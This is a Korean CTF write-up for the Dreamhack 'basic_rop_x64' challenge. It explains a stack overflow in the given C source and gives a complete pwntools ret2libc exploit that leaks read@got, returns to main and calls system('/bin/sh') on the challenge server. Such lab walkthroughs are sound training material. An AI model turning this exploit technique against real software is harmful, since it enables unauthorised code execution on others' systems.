
문제에 적용된 보안 기법들을 살펴보겠습니다.

NX가 적용되어 있으므로 스택에서 셸을 바로 실행할 수는 없어보입니다.
문제에서 제공한 basic_rop_x64.c도 살펴보겠습니다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
buf에 비해 read에서 읽는 크기가 크므로 스택 오버플로우를 사용할 수 있어보입니다. 먼저 rop체인으로 libc_base를 얻어주겠습니다. write(1, read_got, ...)으로 read_got을 얻은 후 libc_base를 얻을 수 있습니다. 하지만 이후 코드가 종료되기 때문에 rop체인 마지막에 main으로 돌아가도록 해서 read함수를 한 번 더 실행시켜 셸을 실행시키면 해결할 수 있을 것 같습니다.

buf의 위치는 rbp-0x40입니다. canary는 적용되지 않았으므로 buf와 ret의 거리는 0x48입니다.
기본 설정
from pwn import *
def slog(n, m): return success(': '.join([n, hex(m)]))
p = remote("host1.dreamhack.games", 11044)
e = ELF("./basic_rop_x64")
libc = ELF("./libc.so.6", checksec = False)
sh = list(libc.search(b"/bin/sh"))[0]
read_got = e.got["read"]
read_plt = e.plt["read"]
write_plt = e.plt["write"]
#ROPgadget --binary basic_rop_x64 | grep "이름"
pop_rdi = 0x0000000000400883
pop_rsi_r15 = 0x0000000000400881
ret = 0x00000000004005a9
먼저 read_got을 얻어주기 위해 rop체인을 구성해 주겠습니다.
payload = b'A' * 0x48
#write(1, read@got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)
#return to main
payload += p64(e.symbols["main"])
p.send(payload)
p.recvuntil(b'A' * 0x40)
read = u64(p.recvn(6) + b'\x00' * 2)
slog("read", read)
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]
binsh = lb + sh
payload를 보내면 main함수의 종료 후에 rop체인이 실행되므로 main의 write(1, buf, sizeof(buf))를 처리한 후 read_got을 받아야 합니다. p.recvuntil(b'A'*0x40)으로 buf를 받고 read에 값을 받아줍니다.
이제 얻은 system으로 rop체인을 구성해 문제를 해결하겠습니다.
payload = b'A' * 0x48
#system("/bin/sh")
payload += p64(pop_rdi) + p64(binsh)
payload += p64(system)
p.send(payload)
p.recvuntil(b'A' * 0x40)
p.interactive()
p.send(payload) 뒤의 p.recvuntil(b'A'0x40)은 main에서 write(1, buf, sizeof(buf))가 실행된 후 interactive를 실행시킵니다. 없어도 상관없지만 작성하지 않을 경우 셸이 작동하기 전에 buf가 출력되어서 지저분하게 보일 수 있습니다.
아래는 p.recvuntil(b'A' 0x40)을 제외하고 실행한 결과입니다.

아래는 전체 코드입니다.
from pwn import *
def slog(n, m): return success(': '.join([n, hex(m)]))
p = remote("host1.dreamhack.games", 14281)
e = ELF("./basic_rop_x64")
libc = ELF("./libc.so.6", checksec = False)
sh = list(libc.search(b"/bin/sh"))[0]
read_got = e.got["read"]
read_plt = e.plt["read"]
write_plt = e.plt["write"]
pop_rdi = 0x0000000000400883
pop_rsi_r15 = 0x0000000000400881
ret = 0x00000000004005a9
payload = b'A' * 0x48
#write(1, read@got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)
#return to main
payload += p64(e.symbols["main"])
p.send(payload)
p.recvuntil(b'A' * 0x40)
read = u64(p.recvn(6) + b'\x00' * 2)
slog("read", read)
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]
binsh = lb + sh
payload = b'A' * 0x48
#system("/bin/sh")
payload += p64(pop_rdi) + p64(binsh)
payload += p64(system)
p.send(payload)
p.recvuntil(b'A' * 0x40)
p.interactive()
실행하면 셸을 얻을 수 있습니다.
